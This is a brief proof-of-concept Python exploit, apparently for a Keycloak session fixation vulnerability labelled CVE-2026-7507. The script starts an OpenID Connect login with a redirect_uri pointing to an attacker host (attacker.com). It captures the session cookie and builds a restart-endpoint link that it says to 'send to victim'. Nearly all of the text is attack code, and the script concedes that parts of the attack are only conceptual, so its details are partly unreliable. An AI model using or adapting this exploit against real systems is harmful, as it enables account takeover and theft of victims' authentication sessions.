CVE-2026-7507 Keycloak会话固定漏洞

# PoC for CVE-2026-7507 (Session Fixation in Keycloak) # This script demonstrates the concept of fixing a session ID. import requests def generate_malicious_link(target_host, client_id): # 1. Attacker creates a new session to obtain a session cookie session = requests.Session() # Initiate authentication flow to get AUTH_SESSION_ID auth_url = f"{target_host}/realms/master/protocol/openid-connect/auth" params = { "client_id": client_id, "response_type": "code", "redirect_uri": "http://attacker.com/callback" } print("[*] Initiating authentication request to fixate session...") resp = session.get(auth_url, params=params, allow_redirects=False) # Extract the session cookie (e.g., AUTH_SESSION_ID or KC_RESTART) session_cookie = session.cookies.get_dict() if not session_cookie: print("[-] Failed to obtain session cookie.") return None print(f"[+] Attacker obtained session cookie: {session_cookie}") # 2. Construct the malicious link using the vulnerable /login-actions/restart endpoint # The victim must click this link while authenticated. restart_endpoint = f"{target_host}/realms/master/login-actions/restart" # The link typically includes parameters that trigger the restart with the attacker's session context malicious_link = f"{restart_endpoint}?client_id={client_id}&redirect_uri=http://attacker.com/callback" # Note: In a real attack, the attacker must ensure the victim's browser sends the fixed cookies # or the endpoint accepts the session handle from the URL/params without strict ownership checks. print(f"[+] Malicious link generated (Send this to victim):\n{malicious_link}") return malicious_link, session_cookie if __name__ == "__main__": target = "https://keycloak.example.com" client = "admin-cli" generate_malicious_link(target, client)